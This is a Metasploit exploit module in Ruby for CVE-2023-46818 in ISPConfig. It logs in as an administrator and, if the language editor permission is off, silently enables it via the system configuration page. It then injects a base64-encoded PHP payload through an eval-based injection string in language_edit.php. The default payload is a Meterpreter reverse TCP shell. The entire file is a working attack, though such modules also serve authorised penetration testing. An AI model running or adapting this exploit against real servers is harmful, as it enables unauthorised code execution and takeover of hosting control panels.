##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ISPConfig language_edit.php PHP Code Injection',
'Description' => %q{
This module exploits a PHP code injection vulnerability in ISPConfig's
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
setting is enabled, allowing authenticated administrators to inject arbitrary
PHP code through the language editor interface.
This module will automatically check if the required `admin_allow_langedit`
permission is enabled, and attempt to enable it if it's disabled (requires
admin credentials with system configuration access).
The exploit works by injecting a PHP payload into a language file, which
is then executed when the file is accessed. The payload is base64 encoded
and written using PHP's file_put_contents function.
},
'License' => MSF_LICENSE,
'Author' => [
'syfi', # Discovery and PoC
'Egidio Romano'
],
'References' => [
['CVE', '2023-46818'],
['URL', 'https://github.com/SyFi/CVE-2023-46818'],
['URL', 'https://karmainsecurity.com/KIS-2023-13'],
['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[
'Automatic PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'Privileged' => false,
'DisclosureDate' => '2023-10-24',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
])
end
def check
print_status('Checking if the target is ISPConfig...')
return CheckCode::Unknown('Failed to login') unless authenticate
# Always try to log in and parse version, since credentials are required
# cookie_jar.clear (handled in exploit)
# Try to access the dashboard or settings page
settings_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
'keep_cookies' => true
})
if settings_res
doc = settings_res.get_html_document
# Try to find version in a span, div, or similar element
version_element = doc.at('//p[@class="frmTextHead"]')
if version_element
version_text = version_element.text
version = version_text.split(':')[1].gsub(' ', '')
version = Rex::Version.new(version)
if version < Rex::Version.new('3.2.11p1')
print_good("ISPConfig version detected: #{version_text}")
return CheckCode::Appears("Version: #{version_text}")
end
end
end
CheckCode::Safe
end
def authenticate
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login/'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
's_mod' => 'login'
},
'keep_cookies' => true
})
return false unless res
if res&.code == 302
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
})
end
body_downcase = res.body.downcase.freeze
return false if body_downcase.include?('username or password wrong')
if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
print_good('Login successful!')
return true
end
print_warning('Login status unclear, attempting to continue...')
true
end
def check_langedit_permission
print_status('Checking if admin_allow_langedit is enabled...')
# Try to access the language editor to see if it's accessible
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => edit_url,
'keep_cookies' => true
})
if res&.code == 200 && res.body.include?('language_edit')
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
return true
elsif res&.code == 403
print_warning('Language editor access denied - admin_allow_langedit may be disabled')
return false
else
print_warning('Could not determine language editor accessibility')
return false
end
end
def enable_langedit_permission
print_status('Attempting to enable admin_allow_langedit...')
# Try to access the system settings page
settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => settings_url,
'keep_cookies' => true
})
unless res && res.code == 200
print_warning('Could not access system configuration page')
return false
end
doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
unless csrf_id && csrf_key
print_warning('Could not extract CSRF tokens from system config page')
return false
end
# Try to enable the setting
enable_data = {
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'admin_allow_langedit' => '1',
'action' => 'save'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => settings_url,
'vars_post' => enable_data,
'keep_cookies' => true
})
if res&.code == 200
print_good('Successfully enabled admin_allow_langedit')
return true
else
print_warning('Failed to enable admin_allow_langedit')
return false
end
end
def inject_payload
print_status('Injecting PHP payload...')
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
b64_payload = Base64.strict_encode64(payload.encoded)
injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
initial_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file
}
res = send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => initial_data,
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
unless csrf_id && csrf_key
fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
end
print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
injection_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file,
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'records[\]' => injection
}
send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => injection_data,
'keep_cookies' => true
})
end
def exploit
cookie_jar.clear
fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate
# Check if language editor permissions are enabled
unless check_langedit_permission
print_warning('admin_allow_langedit appears to be disabled')
print_status('Attempting to enable admin_allow_langedit...')
if enable_langedit_permission
print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
# Re-check permissions after enabling
unless check_langedit_permission
fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
end
else
fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
end
end
inject_payload
end
end